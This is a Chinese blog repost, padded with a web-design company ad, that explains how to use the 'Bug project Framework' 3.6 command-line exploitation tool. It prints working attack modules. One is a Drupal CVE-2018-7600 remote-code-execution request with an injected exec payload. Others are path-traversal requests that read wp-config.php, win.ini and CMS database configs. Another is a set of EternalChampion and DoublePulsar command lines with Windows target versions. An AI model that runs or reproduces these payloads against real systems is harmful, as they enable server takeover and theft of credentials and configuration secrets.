web安全中BugprojectFrameworkV3.6命令行版本怎么用

这篇文章将为大家详细讲解有关web安全中Bug project Framework V3.6命令行版本怎么用，小编觉得挺实用的，因此分享给大家做个参考，希望大家阅读完这篇文章后可以有所收获。

网站建设哪家好，找成都创新互联！专注于网页设计、网站建设、微信开发、小程序开发、集团企业网站建设等服务项目。为回馈新老客户创新互联还提供了神木免费建站欢迎大家使用！

0x01 前言

关于BPF框架的图形化界面是我在2017年4月份开始编写的，开发至今已有1年又1个月，但是由于图形化界面对于漏洞利用的便携性和简易性比较高，攻击性比较大，所以迫于多方面原因，图形化界面不会公开，在上周着手编写了这个3.6版本的命令行版本。

关于网络上流传的被泄露的3.0图形化版本，我说明一下，这个版本存在很多的bug，不只是模块语法的bug，而且被泄漏的版本被捆绑了很多木马，希望不要贸然下载，以免遭受不必要的损失！

0x02 项目简介

软件名称：Bug project Framework
版本： 3.6

0x03 帮助

在BPF根命令行下：

   help             查询帮助

   reload             重新加载框架，此时会刷新全部模块

   search             搜索模块关键词并显示
                        （ e.g.  search ms17-010 ）
   searchall          显示所有模块

   use                使用模块
                        （ e.g.  use \buffer\ms17-010 Scan.bpf ）
   set shellcodes    配置默认Shellcode路径

   exit             退出BPF

在BPF模块命令行下：

   help             查询帮助

   show options       查看当前模块参数以及配置情况

   set options       设置当前模块参数以及配置

   set shellcodes    配置默认Shellcode路径

   run                运行模块

   exit             退出当前模块

当你输入除上述指定规定参数以外的命令时，BPF框架会将命令识别为系统命令，提交Windows操作系统进行处理

   HAPPY HACK ！GOOD LUCK ！
   2018.5.7 BY Fplyth0ner

0x04 上手操作

首先我们打开命令行，切换到BPF框架所在文件夹，框架文件结构如下图：

web安全中Bug project Framework V3.6命令行版本怎么用

然后键入BPF框架主文件全名，并执行：

web安全中Bug project Framework V3.6命令行版本怎么用

可以看到框架当前可调用 59 个Web Exploit模块，12 个Web Poc模块和33个 Buffer 模块。Web Exploit模块提供Web应用漏洞的检查，Web Poc模块提供Web应用漏洞检测，Buffer模块提供外部程序的调用，例如Python，Java等解释型语言的代码，或者是外部可执行文件的调用，操作灵活。

由于框架仅仅是给予模块一个执行环境，功能主要通过模块来实现，所以我们简单展示一下三种模块的代码。

Web Exploit（Drupal核心远程代码执行漏洞）：

命令

输出文件名

post

/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax

Connection: keep-alive

Accept-Encoding: gzip, deflate

Accept: */*

User-Agent: python-requests/2.18.4

Content-Length: 159

mail[#markup]= | tee .txt&mail[#type]=markup&form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec

get

/.txt

CVE-2018-7600

Drupal核心远程代码执行漏洞

影响版本:

Drupal 6.x，7.x，8.x

Web Poc（CMS Getshell 漏洞检测）：

WordPress DB-Backup Plugin 任意文件下载

get

/wp-content/plugins/db-backup/download.php?file=../../../wp-config.php

define(

U-Mail任意文件遍历/下载

get

/webmail/client/mail/index.php?module=operate&action=attach-img-preview&d_url=file://C:\windows\win.ini&type=text/htm

[fonts]

MetInfo 5.2 任意文件读取

get

/include/thumb.php?x=1&y=/../../../config&dir=config_db.php

con_db_host

专为CMS通杀的任意文件读取漏洞做检测

直接输入 http://网址即可开始检测

Buffer（Eternalchampion）：

inject

NB,NR,MR

dll

IP地址

端口

攻击服务

系统版本

系统架构

Doublepulsar-1.3.1.exe --NetworkTimeout 60 --TargetIp --TargetPort --Protocol SMB --Architecture --Function OutputInstall --OutputFile 1.bin

cj.exe

ping -n 3 127.1 >nul

Eternalchampion-2.0.0.exe --TargetIp --TargetPort --ShellcodeBuffer --Protocol --Target

Doublepulsar-1.3.1.exe --TargetIp --TargetPort 445 --DllPayload --Protocol SMB --Architecture --Function Rundll

上下对应

端口： 139 445

攻击服务： NBT SMB

系统架构： X86 X64

系统版本：

XP_SP0SP1_X86

Windows XP Sp0 and Sp1, 32-bit

XP_SP2SP3_X86

Windows XP Sp2 and Sp3, 32-bit

XP_SP1_X64

Windows XP Sp1, 64-bit

XP_SP2_X64

Windows XP Sp2, 64-bit

SERVER_2003_SP0

Windows Sever 2003 Sp0, 32-bit

SERVER_2003_SP1

Windows Sever 2003 Sp1, 32-bit/64-bit

SERVER_2003_SP2

Windows Sever 2003 Sp2, 32-bit/64-bit

VISTA_SP0

Windows Vista Sp0, 32-bit/64-bit

VISTA_SP1

Windows Vista Sp1, 32-bit/64-bit

VISTA_SP2

Windows Vista Sp2, 32-bit/64-bit

SERVER_2008_SP0

Windows Server 2008 Sp0, 32-bit/64-bit

SERVER_2008_SP1

Windows Server 2008 Sp1, 32-bit/64-bit

SERVER_2008_SP2

Windows Server 2008 Sp2, 32-bit/64-bit

WIN7_SP0

Windows 7 Sp0, 32-bit/64-bit

WIN7_SP1

Windows 7 Sp1, 32-bit/64-bit

SERVER_2008R2_SP0

Windows Server 2008 R2 Sp0, 32-bit/64-bit

SERVER_2008R2_SP1

Windows Server 2008 R2 Sp1, 32-bit/64-bit

WIN8_SP0

Windows 8 Sp0, 32-bit/64-bit

回到命令行界面，我们输入： Search 命令执行

web安全中Bug project Framework V3.6命令行版本怎么用

搜索到21个可用模块，我们挑选第二个模块，使用 Use 命令进行模块使用

web安全中Bug project Framework V3.6命令行版本怎么用

在该模块的提示符下，使用 show options 命令查看模块配置

web安全中Bug project Framework V3.6命令行版本怎么用

使用 set options 修改模块配置，操作如下：

web安全中Bug project Framework V3.6命令行版本怎么用

可以看到已经修改成功。

web安全中Bug project Framework V3.6命令行版本怎么用

然后键入 run ，回车，即可测试指定目标。

如果想退出当前模块，输入：exit 即可回到BPF主提示符，关于更多其他类型的模块使用，和上述方法大致相同。同时，在BPF命令行下，本机系统命令也同样可以使用

web安全中Bug project Framework V3.6命令行版本怎么用

关于“web安全中Bug project Framework V3.6命令行版本怎么用”这篇文章就分享到这里了，希望以上内容可以对大家有一定的帮助，使各位可以学到更多知识，如果觉得文章不错，请把它分享出去让更多的人看到。

分享标题：web安全中BugprojectFrameworkV3.6命令行版本怎么用
网页链接：http://azwzsj.com/article/giejoc.html

web安全中BugprojectFrameworkV3.6命令行版本怎么用

0x01 前言

0x02 项目简介

0x03 帮助

0x04 上手操作

Web Exploit（Drupal核心远程代码执行漏洞）：

Web Poc（CMS Getshell 漏洞检测）：

Buffer（Eternalchampion）：

其他资讯